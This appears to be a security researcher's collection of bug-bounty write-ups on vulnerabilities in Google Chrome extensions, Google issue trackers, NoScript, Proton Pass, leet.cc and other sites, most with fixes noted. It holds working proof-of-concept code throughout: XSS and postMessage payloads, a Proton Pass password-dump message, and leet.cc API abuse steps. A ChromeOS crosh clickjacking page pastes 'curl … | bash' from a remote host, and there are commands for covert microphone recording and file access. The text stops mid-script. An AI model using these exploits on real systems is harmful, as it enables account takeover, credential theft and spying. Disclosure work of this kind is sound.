issues.skia.org
, issues.pigweed.dev
, issues.gerritcodereview.com
, git.issues.gerritcodereview.com
, issuetracker.google.com
, issues.fuchsia.dev
, issues.chromium.org
and one tracker can read issues from a different one like fetch('https://issues.skia.org/action/issues/<ISSUE ID>/events');
for (let i=0; i < 1337; i++) {
fetch('https://issuetracker.google.com/action/trackers/' + i).then(async issue => {
let result = await issue.text();
if (result.includes('b.Tracker')) console.log(result);
});
}
An intentional embeddable XSS existed at jsfiddle.skia.org
that is cross-origin but same-site as somewhere the issue tracker is hosted hence bypassing site/process isolation protections.
This means:
Cross-Origin-Resource-Policy: same-site
header and Cross-Origin Read Blocking.document.cookie
as first party, but not read the HttpOnly
cookies directly, allowing Login CSRF since no __Host- cookie prefix is used only __Secure- that protects from local network attackers.skia.org
While there may be other ways to bypass site isolation like an attacker controlled image, video or postMessage on the victim site allowing JS execution significantly increases the attack surface for renderer bugs. https://www.chromium.org/Home/chromium-security/strict-origin-isolation-trial https://bughunters.google.com/blog/6554750087200768/securely-hosting-user-data-in-modern-web-applications#approach-2-serving-active-user-content
“The CORP bypass is an extra hardening bypass which is currently out-of-scope of VRP and this issue is also out-of-scope for Chrome Extension VRP due to it’s not an extension. We may revisit this issue later when we include such bypasses into our VRP.”
This was fixed by removing jsfiddle.skia.org
So there was some other attack I liked but sadly they know about it internally and have not fixed it so cant include it but I would have liked to :(
]]>NoScript is installed by default and cant be removed. Other browser extensions are discouraged since there normally fingerprintable https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/41581#note_2949932
On the first install of the Tor browser, NoScript gets assigned a random extension ID that never changes. Because of this Firefox bug: https://bugzilla.mozilla.org/show_bug.cgi?id=1372288
This is different to the chromium way of using a universal extension ID for manifest v2 which while did allow detecting if an extension was installed there was no random extension/user ID generated.
Manifest v3 does have a use_dynamic_url
feature that claims to be “per session and regenerated on browser restart or extension reload”
If the user increases there browser security level to “Safer” or in the NoScript settings page disables the media toggle this ID would be shared to an attacker controlled website using the following PoC:
// Just a blank video
f = document.createElement('iframe')
f.hidden = true;
f.src = 'https://terjanq.me/xss.php?ct=video/mp4';
document.body.appendChild(f);
payload = `
let x = setInterval(() => {
try {
parent[0].document.links[0].style.opacity = 1;
let link = parent[0].document.head.getElementsByTagName('link')[0];
if (link && link.href) {
let origin = new URL(link.href).hostname;
alert('User ID: ' + origin);
clearInterval(x);
}
} catch {}
}, 10);
`
setTimeout(() => {
f2 = document.createElement('iframe');
f2.hidden = true;
// runs code same-origin as video
f2.src = 'https://terjanq.me/xss.php?js=' + encodeURIComponent(payload);
document.body.appendChild(f2);
}, 100);
This leak can be found at: https://github.com/hackademix/nscl/blob/ef1ecbea27e39e255d988a8fb0233ab53c46e57c/content/PlaceHolder.js#L34
It was fixed in version 11.4.28 by calling tabs.insertCSS
instead of referencing the css file with runtime.getURL
NoScript: https://github.com/hackademix/noscript/commit/1754429ea1bc458f802c4e4f49f8e8e4ab15f403
NSCL: https://github.com/hackademix/nscl/commit/4c94bf24f117277f5c00878005d91d0d7aaa18e4
No because it was reported directly but may have been under “Low ($100 - $1000)” https://hackerone.com/torproject?type=team
]]>This bug is from 2016 the same time they had their database breached https://www.databreaches.net/leet-cc-data-hacked-in-february-publicly-dumped/ where someone uploaded a PHP shell to their website… This is from memory I may get stuff wrong.
I would hope it’s fixed now 🙂but then this is leet.cc
Reverse engineer the Android app using online apk decompilers and look at the network traffic using https://www.telerik.com/fiddler to see if the API did authentication correctly.
Credit: https://www.youtube.com/watch?v=LbZqaLKS7V4
Server IDs (Incremental number) are used to identify what server to act on for the API.
This could be gotten easily by using https://leet.cc/verifyServerDomain.php?domain=<domain>
The user ID which used to be optional was the user’s email address or their device ID.
In order to exploit this one would make a request to:
https://mainapi.leet.cc/actionNew.php?cmd=<command>&userID=<userID>¶ms[]=<serverID>¶ms[]=<commandParameter>&versionCode=176&password=something_secret&client=google-free&k=<Base 64 encoded MD5 Hash of part of the URL>&sys=<Base 64 encoded MD5 Hash of part of the URL>
No one knows why k
and sys
were there.
And now the how to exploit FAQ 🙂
<command>
is changeOP
<commandParameter>
is your in-game name<command>
is changeWhitelistPlayers
<commandParameter>
is your in-game name<command>
is changeServerName
<commandParameter>
is 🦆/login <password>
is too annoying.setUserRegistration
to off!Okay send a request to https://mainapi.leet.cc/serverLogin.php?serverEmail=<attacker email>&serverPassword=<attacker password>®isterServerID=<serverId>®isterUserID=<userId>
Testing the security of extensions developed by Google with the help of a Vulnerability Research Grant from Google of $500.
They have since added guidelines for Chrome Extension VRP https://bughunters.google.com/about/rules/6625378258649088/google-and-alphabet-vulnerability-reward-program-vrp-rules#reward-amounts-for-vulnerabilities-in-chrome-extensions
Notes:
XMLHttpRequest
will send cookies as if xhr.withCredentials = true
; even if it’s false and are able to read whatever the extension has access to.chrome.storage
can’t be trusted 40189208 - New Extension API function chrome.storage.setAccessLevel
- chromiumMessageSender.origin
doesn’t exist on Firefox so you may need to use the URL.runtime.sendMessage
For more information, check out Deep Dive into Site Isolation (Part 2)
Introduction: https://groups.google.com/a/chromium.org/g/chromium-extensions/c/0ei-UCHNm34/m/lDaXwQhzBAAJ
My bad attempt at enforcing site isolation for SponsorBlock with its 3rd party player support ajayyy/SponsorBlock#1784
Interesting article related to V8 isolates and process isolation The Cloudflare Workers Security Model
Create a directory that has automatically synced and beautified source code from google owned browser extensions hosted in the chrome webstore.
.onMessage
, .onConnect
, .onRequest
, .onMessageExternal
and audit messages to background pageschrome.storage
its viewable using chrome.storage.local.get(null, console.log);
and chrome.storage.sync.get(null, console.log);
externally_connectable
and content_scripts
for unsafe origins such as http://*.google.com
and https://storage.googleapis.com
postMessage
and verify the senders allowed.scripting.executeScript
, document.write
, innerHTML =
, location.href =
, open()
web_accessible_resources
for clickjacking, scripts here will also bypass the sites CSP.URL: https://chrome.google.com/webstore/detail/application-launcher-for/lmjegmlicamnimmfhcmpkclmigmmcbeh
Drive for desktop: https://www.google.com/drive/download/
The lax rule that allows insecure origins: "externally_connectable": { "matches": [ "://.google.com/*" ] }
Run the following on any google subdomain including insecure http://
ones.
The following code runs a VBS script on the victim resulting in RCE.
let api = chrome.runtime.connect('lmjegmlicamnimmfhcmpkclmigmmcbeh', {name: 'com.google.drive.nativeproxy'});
let request = 'native_opener/v2/3/' + btoa('["<VICTIM EMAIL>", "<SHARED FILE ID>","VkJTRmlsZQ",""]'); api.postMessage(request);
An attacker on the same network or a browser extension/XSS with any google subdomain can send messages to a proxy that opens whatever file they want shared in their google drive as long as it’s synced.
No “Mark Of The Web” is set. https://textslashplain.com/2016/04/04/downloads-and-the-mark-of-the-web/
Fixed by changing externally_connectable
to only https://docs.google.com/*
and https://drive.google.com/*
browser extensions with <all_urls>
can still get an RCE with it. (WAI)
A demo to get RCE: extension video
This could be fixed by adding https://*.google.com
to runtime_blocked_hosts
https://github.com/NDevTK/DomainProtect
URL: https://chrome.google.com/webstore/detail/perfetto-ui/lfmkphfpdbjijhpomgecfikhfohaoine
Perfetto UI 1 is a Chrome extension by Google for recording browser traces. The extension communicates with ui.perfetto.dev to record the browser traces.
This extension is particularly powerful as it is hardcoded to receive special treatment from Chrome (ExtensionIsTrusted
). 2
However, from the manifest.json we can see that it can also connect to storage.googleapis.com, which is a domain used for storing arbitrary Google Cloud buckets that can be created by anyone.
"externally_connectable": {
"matches": [
"*://localhost/*",
"*://127.0.0.1/*",
"https://*.perfetto.dev/*",
"https://storage.googleapis.com/*"
]
}
This means that anyone hosting a page on storage.googleapis.com can fully communicate with the extension to record and read browser traces. The traces themselves contain info such as Chrome logs, IPC flows, network logs, and over 150 more categories. Sensitive values from the logs are supposed to be stripped, however this filtering is not perfect and many sensitive values are leaked, such as URLs and response headers of Chrome traffic, which contain, for example, access tokens from the “Authorization” headers.
Steps to reproduce:
The PoC essentially loads a copy of the Perfetto UI frontend in an iframe, and then configures it and clicks the Start button using JS. After 15s, the hidden iframe is revealed, showing the data that was recorded. The PoC page can access all of this data. To easily see the leaked data, convert the trace by clicking “Convert to .json” in the left menu.
This is an example of how the page can communicate with the extension:
port = chrome.runtime.connect('lfmkphfpdbjijhpomgecfikhfohaoine');
port.onMessage.addListener(console.log);
port.postMessage({method: 'GetCategories'});
This was fixed by removing https://storage.googleapis.com/
from externally_connectable
https://github.com/google/perfetto/commit/493ab156ac9f2610f91f0d5df9a7a793b6539988
URL: https://chrome.google.com/webstore/detail/screen-reader/kgejglhpjiefppelpmljglcjbhoiplfn
Screen Reader 3 is an accessibility extension by Google. Its source code 4 is available in the chromium repository.
It exposes various commands that can be called. The issue is that the message listeners do not check the origin of the incoming message. 5 One of these commands is clickNodeRef
6, which can, with the help of selector injection 7, be used to click any element in the DOM, using an arbitrary selector.
channel = new MessageChannel();
win.postMessage("cvox.PortSetup", "*", [channel.port2]);
channel.port1.postMessage(JSON.stringify({ cmd: 'clickNodeRef', args: [{ cvoxid: '"], ' + selector + ', *[x="' }] }));
Therefore, a malicious page with a reference to any other cross-origin page can click elements on that page, i.e., bypassing the same-origin policy. This allows for an easy and unlimited way of performing clickjacking on any web page, even those with framing protections, except pages with COOP.
This can be used to perform actions on behalf of the user on other websites. This PoC shows one way how this could be abused: a completely automated way of granting a sensitive OAuth permission without the user’s knowledge.
Steps to reproduce:
After a few seconds, you should see in https://myaccount.google.com/permissions that the PoC app has access to your Google account.
Apart from this vulnerability, there might be other possible security issues with this extension. For example, as the following code 8 does not sanitize user input; this could potentially lead to UXSS, if it is exploited. (we didn’t analyze this yet, but it also looks vulnerable)
var html = Msgs.getMsg('pdf_header', [filename, src + '#original']);
headerDiv.innerHTML = html;
This was fixed by removing the clickNodeRef
method.
Downgraded as needs a compromised renderer, maybe CPU bugs work as well :/
URL: https://chrome.google.com/webstore/detail/tag-assistant-legacy-by-g/kejbdjndbnbjgmefkgdddjlbokphdefk
chrome.runtime.sendMessage({message: 'LoadScript', url: 'http://192.168.1.1'}, console.log);
The new security check has a list of allowed origins however there’s open redirects!
However this only worked for the application/javascript
content type.
chrome.runtime.sendMessage({message: 'LoadScript', url: 'https://googleads.g.doubleclick.net/pcs/click?adurl=http://localhost:8000/x.js'}, console.log);
A compromised renderer can bypass the same origin policy.
URL: https://chrome.google.com/webstore/detail/tag-assistant-legacy-by-g/kejbdjndbnbjgmefkgdddjlbokphdefk
Change the JS execution context to the Tag Assistant Legacy’s content script, and execute the following:
chrome.runtime.sendMessage({message: "GetRecordedIssues", tabId: "<TabID>"}, a => {
console.log(a.statusInfos[0].page.url);
});
Change the JS execution context to the Tag Assistant Legacy’s content script, and execute the following:
let port = chrome.extension.connect({name: "popup"});
port.onMessage.addListener((a) => {console.log(a.url)});
port.postMessage({message: "Status", tabId: "<TabID>"});
A compromised renderer can leak visited URLs, which may contain sensitive data, such as an access_token.
URL: https://chrome.google.com/webstore/detail/coding-with-chrome/becloognjehhioodmnimnehjcibkloed
For isolation the extension hosts user controlled code on localhost however it does not verify the sender of the messages or use a null
origin.
let x = window.open('http://127.0.0.1:8090/preview/untitled_phaser_blockly_file.html') window.addEventListener("message", a=> { console.log(a.data) x.postMessage({name: "__exec__", value:"alert(origin)"}, "*") }) setTimeout(()=> x.postMessage({name: "__handshake__", value:"1307"}, "*"), 500)
An attacker controlled website can get XSS on localhost this maybe trusted by applications since it refers to the users local machine https://datatracker.ietf.org/doc/html/draft-west-let-localhost-be-localhost-06
URL: https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd
A page can load or embed chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/html/nassh.html?openas=fullscreen#crosh
to make the current tab fullscreen without user interaction.
Impacts:
// Allow users to bookmark links that open as a window.
const openas = params.get('openas');
switch (openas) {
case 'window': {
// Delete the 'openas' string so we don't get into a loop. We want to
// preserve the rest of the query string when opening the window.
params.delete('openas');
const url = new URL(document.location.toString());
url.search = params.toString();
openNewWindow(url.href).then(() => globalThis.close);
return;
}
case 'fullscreen':
case 'maximized':
chrome.windows.getCurrent((win) => {
chrome.windows.update(win.id, {state: openas});
});
break;
}
Repeatedly entering fullscreen was fixed by removing the opener reference https://chromium-review.googlesource.com/c/apps/libapps/+/4823645
URL: https://chrome.google.com/webstore/detail/form-troubleshooter/lpjhcgjbicfdoijennopbjooigfipfjh
The Form Troubleshooter extension 9 is a project from Google Chrome Labs 10.
The extension adds a content script to all pages, which responds back with the DOM tree of the current document. The issue is that it accepts messages by any page that has a reference to the window.
window.addEventListener('message', async (event) => {
if (event.data?.message === 'iframe message') {
const messageType = event.data?.data?.type;
if (messageType === 'inspect') {
sendPostMessageResponse(event, await getDocumentTree(document));
}
[...]
}
});
This means that a page can get the document tree of any other page it has a reference to.
Steps to reproduce:
onmessage = console.log;
x=window.open('https://facebook.com')
setTimeout(() => {
x.postMessage({message: 'iframe message', data: {type: 'inspect'}}, '*');
}, 1000);
window.open
) OR that does not prevent being framed (iframe
).This was fixed by adding an origin check https://github.com/GoogleChromeLabs/form-troubleshooter/commit/f67dc76e304dfa29b6be16725287c1b84a27eabe
URL: https://chrome.google.com/webstore/detail/tag-assistant-for-convers/llpfnmnallbompdmklfkcibfpcfpncdd
Click the start button via the extensions popup, then go to https://example.org/?secret
In the context of the content script on an attacker controlled website.
chrome.runtime.sendMessage({messageType: 6}, tabInfo => { for (let page in tabInfo.pages) { console.log(tabInfo.pages[page].info.url); } });
There’s a leak on navigation.
chrome.runtime.onMessage.addListener(e => { console.log(JSON.stringify(e)) });
A compromised renderer can leak visited URLs, which may contain sensitive data, such as an access_token, and other data, such as cookie names.
URL: https://chrome.google.com/webstore/detail/long-descriptions-in-cont/ohbmencljkleiedahijfkagnmmhbilgp
The “Long Descriptions in Context Menu” is an accessibility extension by Google. It adds a context menu item, which will open a new tab to a URL provided by the website. There are no restrictions on what the URL can be, which leads to security risks.
Steps to reproduce:
<body longdesc="chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/plugin/mosh/mosh_window.html">
<h1 style="pointer-events: none;">Right click and select "Open Long Description In New Tab"</h1>
</body>
For bugs which require a renderer exploit, we usually offer financial rewards for bugs which only require a single user interaction (i.e. a click). This is because a bug which requires multiple user interactions from a victim is normally not used with a renderer exploit (due to likelihood of unsuccessful attacks, there is more risk of a renderer exploit being wasted).
We’ve also looked at 2 attack scenarios you have provided.
achieve UXSS by navigating to a javascript: URI and using a renderer exploit
The bug you’ve mentioned is already fixed by Chrome. And therefore we don’t believe UXSS is possible with this bug. However, we are happy to proven wrong, so let us know if this bug can result in UXSS 🙂
read local files by opening a downloaded html file with a renderer exploit
To perform this attack, we believe following steps are necessary.
Download a malicious HTML file. Ask the user to right-click and click “Open Long Description In New Tab”. This opens the malicious HTML file downloaded in step #1, and it can now read other files. This means that on top of multiple user interactions requirement in step #2, download of a malicious file in step #1 is also visible to the victim. Therefore, we believe that the likelihood of a successful attack will further decrease.
I hope this clarifies the reward decision bit more. And I would like to thank you for the report, as this is definitely a valid bug!
URL: https://chrome.google.com/webstore/detail/gerrit-fe-dev-helper/jimgomcnodkialnpmienbomamgomglkd/
chrome.storage.sync.set({rules: [{"destination": "alert(window.origin)","disabled": false,"isNew": false,"operator": "injectJSCode","target": ""}]})
// Now open a tab (https://google.com) and click the extension action icon
This can also be done via chrome.runtime.sendMessage
If the victim visits a site that has a compromised renderer (can access the content script) and enables the extension, the site will be able to bypass the same-origin policy.
This is an extension by Google intended for frontend Gerrit developers.
https://gerrit.googlesource.com/gerrit-fe-dev-helper/
Unverified fix, https://gerrit-review.googlesource.com/c/gerrit-fe-dev-helper/+/389216
URL: https://chrome.google.com/webstore/detail/amp-readiness-tool/fadclbipdhchagpdkjfcpippejnekimg
window.onclick = () => {
open('https://www.google.com');
setTimeout(() => {
chrome.runtime.sendMessage({id: 'get_apps', tab: {id: ''}}, e => { console.log(e.html) });
}, 3000);
}
A compromised renderer can bypass the same origin policy.
URL: https://chrome.google.com/webstore/detail/web-vitals/ahfhijdlegdabablpippeagghigmibma
chrome.storage.local.get(null, results => { for (let hash in results) { console.log(results[hash].location); } });
ChromeVox has a similar issue which never got fixed. https://issues.chromium.org/issues/40050494#comment24
A compromised renderer can leak visited URLs, which may contain sensitive data, such as an access_token.
This was fixed by https://github.com/GoogleChrome/web-vitals-extension/commit/5187dbddcdea7886009f937344a7d4c0b4590598
URL: https://chrome.google.com/webstore/detail/chrome-reporting-extensio/emahakmocgideepebncgnmlmliepgpgb
This extension requires setup to work: Create DWORD report_user_browsing_data
with the value of 1
in HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\3rdparty\extensions\emahakmocgideepebncgnmlmliepgpgb\Policy
In the context of the content script on an attacker controlled site run:
chrome.storage.local.get('activeSites', e => { for (let url in JSON.parse(e.activeSites)) console.log(url) });
A compromised renderer can leak visited URLs (origin + pathname) enough to leak unlisted google doc IDs.
URL: https://chrome.google.com/webstore/detail/save-to-google-drive/gmbmikajjgmnabiglmofipeabaddhgne
The extension stores the folder ID of where to store files in chrome.storage.sync
with a compromised renderer; this can leak their folder if it’s set to “with a link” and changed to an attacker controlled value.
This can only happen after the content script is injected, which happens when the user clicks the extension icon or uses upload.html directly from a browser extension.
chrome-extension://gmbmikajjgmnabiglmofipeabaddhgne/upload.html?aid=image-entire&tid=<TabID>
.
By changing the action id aid
from image-entire to html, it will leak the source code of the page to the folder.
This is exploitable from a browser extension with the Tabs API.
Spoof the context menu to trick the user into leaking an unexpected url.
<img src="https://github.com/opensearch.xml">
Right click and save image to drive, this element could be overlapped with a duck image. Potential fix:
A malicious attacker could exploit this to bypass SOP.
URL: https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd
OS: ChromeOS (regular or dev mode). Dev mode allows shell access, regular mode allows only predefined commands.
Requires the Secure Shell extension 11 by Google to be installed. Together with the old version 12 they have over 1 million users.
The extension exposes html/nassh.html
as a web accessible resource, which can be used to access Crosh (Chrome OS shell) and can be embedded by any webpage without restrictions. This way, a malicious website can make the user interact with the shell without the user knowing.
There is some user interaction required, but this could be made inconspicuous to the user by making it a part of a game, for example.
Steps to reproduce:
cat /etc/passwd
(or an arbitrary Linux command) has been executed* alternatively, you can right-click instead of Ctrl+Shift+V (poc-rightclick.html
)
If the developer mode is enabled, the shell
command runs and gives access to the system shell.
In the regular user mode, the Crosh shell allows executing any of the predefined commands, which could possibly be exploited to gain access to the system shell.
Note: the PoC works best with dev mode enabled. In regular mode, the shell command will fail, but the issue will still be demonstrated.
Another potential attack vector would be to connect to devices in the local network that often have default credentials, for example: html/nassh.html#root@192.168.1.1
poc.html:
<!doctype html>
<html>
<head>
<style>
html, body { font-family: sans-serif; overflow: hidden; }
#croshFrame {
position: absolute;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
opacity: 0.000000001;
pointer-events: none;
}
#croshFrame.show { opacity: 0.5; }
#croshFrame.enablePointerEvents { pointer-events: auto; }
#instructions {
font-size: 2em;
font-weight: bold;
text-align: center;
}
#inputElem { opacity: 0.000000001; }
</style>
</head>
<body>
<h1>PoC: crosh UI redress - Keyboard-only with polyglot</h1>
<p>(Frame will autoshow sometime around the last step. Use ?show to show iframe on page load. Use ?danger to run remote bash script.)</p>
<p id="instructions">Press any key to start</p>
<input id="inputElem">
<iframe id="croshFrame"></iframe>
<script>
var showFrame = () => {
croshFrame.classList.add('show');
}
var shouldShow = window.location.search.indexOf('show') > -1;
if (shouldShow) {
showFrame();
}
var setClipboard = async (text) => {
const type = "text/plain";
const blob = new Blob([text], { type });
const data = [new ClipboardItem({ [type]: blob })];
await navigator.clipboard.write(data);
}
var setupPayload1 = () => {
console.info('Setup payload 1');
var setPayload1 = async () => {
console.info('Setting payload 1');
var clipboardSuccess = false;
try {
var dangerZone = window.location.search.indexOf('danger') > -1;
if (dangerZone) {
// Use payload below if you trust me (does nothing malicious)
await setClipboard('shell || curl https://aogarantiza.com/chromium/crosh-payload.txt | bash');
} else {
await setClipboard('shell || cat /etc/passwd');
}
clipboardSuccess = true;
} catch(e) {
instructions.innerText = 'Please press space or any letter key.';
}
if (clipboardSuccess) {
window.removeEventListener('keydown', setPayload1);
croshFrame.src = 'chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/html/nassh.html#crosh';
instructions.innerText = 'Please wait...';
}
}
window.addEventListener('keydown', setPayload1);
}
var frameLoadCount = 0;
croshFrame.addEventListener('load', () => {
// First load isn't a usable prompt
frameLoadCount++;
if (frameLoadCount >= 2) {
setTimeout(() => {
// Slight delay to allow crosh to initialize and be ready for input
// Ctrl+J can also be used instead of Enter.
instructions.innerText = 'Please press Ctrl+Shift+V.\nThen press Enter.\n\nThen repeat the steps above.';
setTimeout(() => { showFrame(); croshFrame.classList.add('enablePointerEvents'); }, 8000);
}, 500);
}
});
setupPayload1();
// Focus page so we get user activation with first valid keypress every time
inputElem.focus();
</script>
</body>
</html>
In production mode (no shell
available) with Linux enabled, the following impacts are confirmed.
An attacker can open a Linux shell either in the Termina VM or within a container. Once the attacker has a Linux shell, an attacker can run an arbitrary shell script with a single copy/paste step. Using a script or running arbitrary containers can reduce the number of steps shown below (which are for manual repro, so has more verbose steps).
To get a Linux shell in the Termina VM, run in crosh: vmc start termina
To get a Linux shell in a container, run in crosh: vmc container termina test-t1 --timeout 120
(Note that vmc container
commands usually need higher timeouts on my physical Chromebook, YMMV)
The malicious payloads can be run on a delay or in the background, so they don’t necessarily occur when the user is still on the attacker page. This can make some attacks more difficult to detect and stop. For an example of this, see “Capture microphone output”.
Arbitrary containers can run attacker commands without further user input, which can save a copy/paste step and save setup time in more complex attacks (since the attacker doesn’t need to set up the default container with their tools.)
I haven’t prepared a custom image, so using Arch Linux image as example, but this can be an attacker-controlled server + container.
Repro steps in crosh, based on these steps: https://wiki.archlinux.org/title/Chrome_OS_devices/Crostini
vmc container termina test-arch https://us.lxd.images.canonical.com/ archlinux/current --timeout 120
After running the command above, the container will be run on the target device. Note that because Arch doesn’t have the ChromeOS guest tools, you will see an error message, but this can be disregarded. If you go into the VM with vsh termina
in crosh, then run lxc list
in the VM, you will see the Arch container is running. You can further verify this by running lxc exec arch -- bash
in the VM.
Repro steps in crosh:
vmc container termina penguin
/opt/google/cros-containers/bin/garcon --client --url file:///mnt/chromeos/MyFiles/Downloads/file.txt
This bypasses the popup blocker and bypasses restrictions that prevent web pages from opening file URLs.
Can open arbitrary http(s), file, data, ftp, mailto URLs. Allowed schemes: https://source.chromium.org/chromium/chromium/src/+/main:ash/dbus/url_handler_service_provider.cc;l=21;drc=4de6dab8daa43278023a25ee25695479bc8afdbe
Rate-limited to 10 calls per 15 seconds: https://source.chromium.org/chromiumos/chromiumos/codesearch/+/refs/heads/main:src/platform2/vm_tools/cicerone/container_listener_impl.cc;l=223;drc=913d3602cf086d51d7056a575f24306f7de210ce
Arbitrary read/write of user files if we know the directory name within MyFiles. A default directory is the “Downloads” folder, which is likely to contain sensitive data for many users.
Can be used to exfiltrate data or tamper with files within the mounted directories.
Repro steps in crosh:
vmc share termina Downloads
This mounts directory in VM at /mnt/shared/MyFiles/Downloads/ Also mounts directory in container at /mnt/chromeos/MyFiles/Downloads/
Once mounted, an attacker can access these by running code within the VM or container (attacker’s choice).
Path traversal and other bad paths are checked here: https://source.chromium.org/chromiumos/chromiumos/codesearch/+/main:src/platform2/vm_tools/seneschal/service.cc;l=729;drc=ba85dbf6f981966bf5c7c1bce53e819e7d617666
Service::SharePath()
above is called with with SharePathRequest::MY_FILES
(see caller here: https://source.chromium.org/chromiumos/chromiumos/codesearch/+/main:src/platform2/vm_tools/crostini_client/methods.rs;l=1662;drc=744ff3added499919ebecb2f19794aa6a23c0cd4)
Repro steps in crosh:
vmc start termina --enable-audio-capture
vmc container termina test-t1 --timeout 120
(you may need to try this several times until container is running; error messages can be misleading)sudo apt install sox
rec -t alsa
After step 4, observe the audio bars in the terminal showing input from the microphone. ChromeOS will also show a notification.
Note that the in-container commands can be automated if using an attacker-controlled container (see “Run arbitrary container” section).
ChromeOS shows a notification saying “Linux is using your microphone”, which is hidden after a few seconds. The only ongoing indication of microphone access is a microphone icon in the notification tray, and the notification itself when you open the tray.
When a user clicks the microphone access notification, the Settings app is opened to the Linux page. However, a user cannot revoke the microphone access on this screen, since the toggle will still be off for microphone access despite the container having access. (This also sounds like something that should be fixed in the Settings app.)
The only way to stop this is to stop the container, VM, or for a more typical user, restart the whole system. You can stop it by running vmc stop termina
in crosh.
Camera input is not supported by Termina VMs. It seems supported by ARC (Android), PluginVM (Parallels?), and Borealis (Steam) VMs. If any of these supported VMs are available in the target system and are accessible via crosh, an attacker may also be able to access the camera (this is unconfirmed, but seems likely based on code analysis).
As a demonstration of performing this in the background, replace steps 3 and 4 with the Bash script hosted at https://aogarantiza.com/chromium/crosh-payload-2.txt (which can be run by an attacker with curl ... | bash
):
#!/bin/bash
run_payload() {
sleep 10
sudo apt install sox
sleep 10
rec -t alsa
}
echo "Hello, this will record audio in 20-40 seconds... you can close this shell/tab and it will still run"
run_payload &
(unsure if this is useful to attacker)
Able to set WireGuard VPN config via crosh wireguard
command. However, I can’t get DNS working until I toggle “automatically configure network settings” in GUI. Maybe someone with more experience configuring WireGuard can figure out how to make this useful for an attacker. If it does work, I think this might allow attackers to tunnel traffic through their WireGuard server and potentially hijack DNS.
No notification is shown when WireGuard is connected, but notification is shown when it is disconnected.
This was fixed by adding frame-ancestors 'self';
to the extensions content_security_policy
.
https://chromium-review.googlesource.com/c/apps/libapps/+/4603751
URL: https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd
chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/plugin/mosh/mosh_window.html?args=eyJzdHlsZSI6ImJhY2tncm91bmQtaW1hZ2U6IHVybChcImh0dHBzOi8vaHR0cC5jYXQvMjAwXCIpIiwid2lkdGgiOjEwMDAsImhlaWdodCI6MTAwMH0=
(This could be done directly or via a WAR bypass)args from the url gets base64 decoded and set as attributes for a html embed tag. While JS is prevented due to the CSP it still allows for CSS. https://issuetracker.google.com/issues/260531249
URL: https://chrome.google.com/webstore/detail/proton-pass-free-password/ghmbeldphafepmbegfdlkpapadhbakde
Due to site isolation it should be expected that an attacker controlled process (a content script) should not gain access to a different site’s passwords since it would be process isolated.
However Proton Pass does not verify the sender of the EXPORT_REQUEST
message allowing a renderer bug to leak in unencrypted form all the users passwords.
In the context of the content script on an attacker controlled website do:
// Bypass Self-XSS (For debugging)
f = document.createElement('iframe');
document.body.appendChild(f);
chrome = f.contentWindow.chrome;
// Dump database
chrome.runtime.sendMessage({type: 'EXPORT_REQUEST', payload: { encrypted: false } }, result => { console.log(atob(result.data)) });
While the data in chrome.storage.local is shared to the content script which uses the same process as attacker controlled websites this is in encrypted form so not that useful but this could be improved by using the localStorage API directly in the background process. Since I think I also saw an access token :/
MV3 Service workers don’t allow localStorage but there are other alternatives. https://developer.chrome.com/docs/extensions/migrating/to-service-workers/#convert-localstorage
Unverified fixes, https://github.com/search?q=repo%3AProtonMail%2FWebClients+SECBTY-628&type=commits
URL: https://chrome.google.com/webstore/detail/google-optimize/bhdplaindhdkiflmbfbciehdccfhegci
The summary of the attack:
https://i.imgur.com/bGXJ5VF.png The token for the payload was stored in chrome.storage.local so the user interaction (which got WAI) is not needed if you have a compromised renderer. https://www.youtube.com/watch?v=h1zTOBpMjmw
URL: https://chrome.google.com/webstore/detail/screenwise-meter/hbmclfdibpffglligfnnppjocdlhgjbb
chrome.runtime.sendMessage
chrome.storage.local
URL: https://chrome.google.com/webstore/detail/mandiant-advantage-threat/aghmgfkjfbkcockededacdhemkpgdcko
Leaks slackWebhook
, teamsWebhook
, token
to a compromised renderer via chrome.storage.local
https://github.com/dart-lang/webdev/issues/2287
URL: https://www.playstation.com/
Playstation password reset emails use a insecure http://
link as http://click.txn-email.account.sony.com/
has to be loaded over http:
this uses exacttarget.com
a email analytics service by salesforce.
“Having worked with ExactTarget before SF acquisition, I can confirm it’s a piece of crap enterprise software.” ~ Alesandro Ortiz
Both resets done from the same playstation login page:
sony@email02.account.sony.com
-> http link
sony@txn-email03.playstation.com
-> https link
A local network attacker can gain account takeover if a user attempts to reset their password. May also require the user’s data of birth depending on the account settings.
URL: https://googlechromelabs.github.io/affilicats/forward.html?url=javascript:alert(window.origin)
The “AffiliCats” website has an open redirect that sets document.location.href
with the URL param called url
this allows navigating to javascript:
f = new URLSearchParams(document.location.search) , g = new URL(f.get("url"));
An attacker controlled website gains the “cutest cats online”
let payload = `
alert(window.origin);
`;
let f = document.createElement("iframe"); f.src = "https://www.gstatic.com/alkali/43ecc24c54630568577e5fdcbc826f3153491684.html"; document.body.appendChild(f); setTimeout(() => { f.contentWindow.postMessage({resourcePaths: {jsPath: "data:text/html,"+encodeURIComponent(payload)}}, "*"); }, 2000);
Leaking connection and DNS timings for gstatic.com resources via the performance API. Sometimes it’s used as an embed.
URL: https://googlechromelabs.github.io/layout-shift-terminator/
Since the page allows embedding and it’s possible to navigate nested iframes.
It’s possible to race the postMessage bypassing the event.source === iframe.contentWindow
check.
This could also be done by abusing the chromium max iframe limit with the null contentWindow trick.
f = document.createElement('iframe');
f.hidden = true;
document.body.appendChild(f);
function tryXSS() {
loop = setInterval(() => {
try {
f.contentWindow[1].location = 'about:blank';
f.contentWindow[1].eval("parent.postMessage({duration: 1, height: '</style><img src=x onerror=alert(origin)>', width: 1}, '*')");
clearInterval(loop);
f.contentWindow[1].location = 'https://googlechromelabs.github.io';
} catch {}
}, 100);
f.src = 'https://googlechromelabs.github.io/layout-shift-terminator/?autorun';
}
tryXSS();
setInterval(tryXSS, 1000);
rm -rf extensions/*
sudo apt install unzip
npm -g install prettier
# Downloads every extension ID in extensions.txt
for extensionID in $(cat extensions.txt)
do
